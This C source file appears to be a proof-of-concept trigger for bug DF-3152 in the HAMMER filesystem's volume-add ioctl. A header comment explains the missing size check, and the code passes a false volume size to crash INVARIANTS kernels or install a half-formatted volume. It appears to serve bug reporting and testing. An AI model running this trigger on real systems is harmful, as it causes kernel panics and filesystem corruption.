DF-3152 / voladd_lie.c
/* * DF-3152 trigger: hammer volume-add with a vol_size that lies about the * device size (claims 2 GiB on a 2 MiB vn device). * * The kernel never validates ioc->vol_size (nor vol_buf_end derived from it) * against the actual size of the opened device: * sys/vfs/hammer/hammer_volume.c:662 vol_buf_end = ioc->vol_size & ~mask * sys/vfs/hammer/hammer_ondisk.c:212 maxbuf_off from HAMMER_VOL_BUF_SIZE * hammer_format_freemap() then bread()s layer2 entries at device offsets * [vol_buf_beg .. vol_buf_beg+8MB) -- walking past the 2 MiB device end, * dscheck() fails the read, and hammer_volume.c:118 * KKASSERT(error == 0) * panics the INVARIANTS kernel (on production kernels the error is later * overwritten by hammer_update_volumes_header()'s unconditional 0 and the * ioctl returns SUCCESS with a half-formatted volume installed). * * Build: cc -o voladd_lie voladd_lie.c * Run: ./voladd_lie <mountpoint> <device> <claimed_vol_size_bytes> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <vfs/hammer/hammer_ioctl.h> int main(int argc, char **argv) { struct hammer_ioc_volume ioc; const char *mnt, *dev; long long claimed; int fd; if (argc != 4) { fprintf(stderr, "usage: %s <hammer1 mountpoint> <device> " "<claimed vol_size bytes>\n", argv[0]); exit(2); } mnt = argv[1]; dev = argv[2]; claimed = strtoll(argv[3], NULL, 0); fd = open(mnt, O_RDONLY); if (fd < 0) err(1, "open %s", mnt); bzero(&ioc, sizeof(ioc)); strlcpy(ioc.device_name, dev, sizeof(ioc.device_name) - 1); ioc.vol_size = claimed; ioc.boot_area_size = 0; ioc.memory_log_size = 0; printf("device=%s claimed vol_size=%lld bytes\n", dev, claimed); fflush(stdout); if (ioctl(fd, HAMMERIOC_ADD_VOLUME, &ioc) < 0) err(1, "HAMMERIOC_ADD_VOLUME"); printf("ADD_VOLUME returned SUCCESS (error path swallowed?)\n"); return (0); } |